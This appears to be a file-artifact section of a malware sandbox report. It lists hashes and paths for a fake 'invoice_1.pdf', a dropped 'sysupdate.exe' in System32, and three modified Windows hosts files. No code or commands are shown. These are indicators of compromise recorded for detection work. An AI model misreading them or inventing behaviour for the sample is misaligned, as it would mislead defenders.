- SSDEEP 3072:eryyxDnOBdDiTPh7fgFicc7jQ4SMumhXnbP2M80NB:WxDnO/DYKwcc3jnpnbh9
- TLSH T1BF04DB04C6F79E2B45861AEB191237D0A538B7B083ECD1FB20E6AE63F077DA6D21D505
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 68KB
- SHA256 96125c367f8e65dbe5b5a6fea58d63b40aa9e220cb21868d5dedda3617993153
- MD5 fcc26deb6d0dc2f7b2561e9b15216ea0
- SHA1 05de1c2b881fa2dc351f0d3c1385f7c413b07ff8
- SHA512 30338bb05148b8965eeafa114819e51fb352dace8cca82205bcf5e0440165ee4b690a7f04617c8cf1cf45432138bebb1034921f9291ec303c7c81d567f4f1006
- SSDEEP 1536:KBUFriuiewcdn0Hii5zt7FWC8mKxTe7GDC9wcch/+PjXQQdLkeSYrxv514G0:KBU5RieUHi+xWY0e7xyccOXQQGXYrt5y
- TLSH T11B633B368F23FCC4677E3D80E05439561C493E3B97B5666CFAC50DA628E6680EF2E458
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 50KB
- SHA256 ad1dff196deb4b51ad76d9d049d4c8d60adf492cf54a670e1ed267cbaf9136a1
- MD5 599b12b9d57df9cc2e3afe3bb5b1705f
- SHA1 2ba1ecb30403fa76a14a6757167de76f7c195542
- SHA512 be727af3739534763595ec9c1d756073d4cb706796eb90bfb9ebcae2d9906d2840de4e61f1f5429e6757847ef07914e7ac97f10ac81d6b6b1035619682b867c1
- SSDEEP 768:hdG8o8qNjTle4MQei6597avP5RCnav/2/Rgr4DC1XXGblfppBKFc5xz:fwNlebQvX/d2Gr4DEXGblfLBuc3
- TLSH T1C233F80477F94211F5BF4ABA49B192119B31B4A79C33D78E0AD5058E1AB3B40CEA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH